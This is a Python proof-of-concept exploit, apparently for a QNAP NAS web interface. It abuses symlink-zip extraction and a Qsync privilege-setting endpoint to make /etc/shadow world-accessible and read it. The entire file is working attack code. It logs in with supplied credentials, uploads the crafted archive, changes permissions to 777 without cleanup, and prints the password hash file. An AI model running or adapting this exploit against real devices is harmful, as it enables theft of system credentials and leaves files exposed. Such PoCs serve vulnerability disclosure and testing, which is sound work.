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POC / file-read-poc.py PY
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

DEBUG_PROXY = 'http://localhost:8080' 
ENDPOINT = 'https://192.168.178.153'  # Adjust
USERNAME = 'victim'                   # Adjust
PASSWORD = 'Victim123!'               # Adjust
FILE = '/etc/shadow'                  # Adjust if you want
  
# cleanup: cd /share/homes/USERNAME && rm -f pwn.zip && rm -f pwn/* && rmdir pwn

def main() -> None:
    session = Session()
    #session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
    session.verify = False

    print('Carefull, privileges of %s are changed to 777! Clean up is not implemented' % FILE)

    print('creating zip file')
    os.system("rm -f pwned.txt pwn.zip")
    os.system("ln -s %s pwned.txt" % FILE)
    os.system("zip --symlink pwn.zip pwned.txt")

    print('loggin in')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/authLogin.cgi',
        headers={'Content-type': 'application/x-www-form-urlencoded'},
        data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
    )
    assert response.status_code == 200
    match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
    assert match
    sid = match.group(1)

    print('uploading zip file')
    with open('pwn.zip', 'rb') as file:
        upload_file(session, sid, 'pwn.zip', file.read())

    print('unpacking zip file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/.Qsync/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/.Qsync'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    time.sleep(5)

    print('changing privileges on file')
    response = session.get(
        f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid={sid}&source_path=/home/.Qsync/&source_file=pwned.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1')
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1
    # TODO: why does it return status 5 on first run?

    print('read file')
    response = session.get(
        f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi/pwned.txt?sid={sid}&func=get_viewer&source_path=%2Fhome%2F.Qsync&source_file=pwned.txt')
    assert response.status_code == 200
    print(response.text)


    print('done')


def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
    # get upload id
    response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
    assert response.status_code == 200
    data = response.json()
    upload_id = data['upload_id']
    assert upload_id

    # upload file
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome%2F.Qsync&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
        #headers={'Content-Type': 'multipart/form-data'},
        files=(
            ('fileName', (None, filename.encode('ascii'))),
            ('file', ('blob', content, 'application/octet-stream')),
        ),
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1


if __name__ == '__main__':
    main()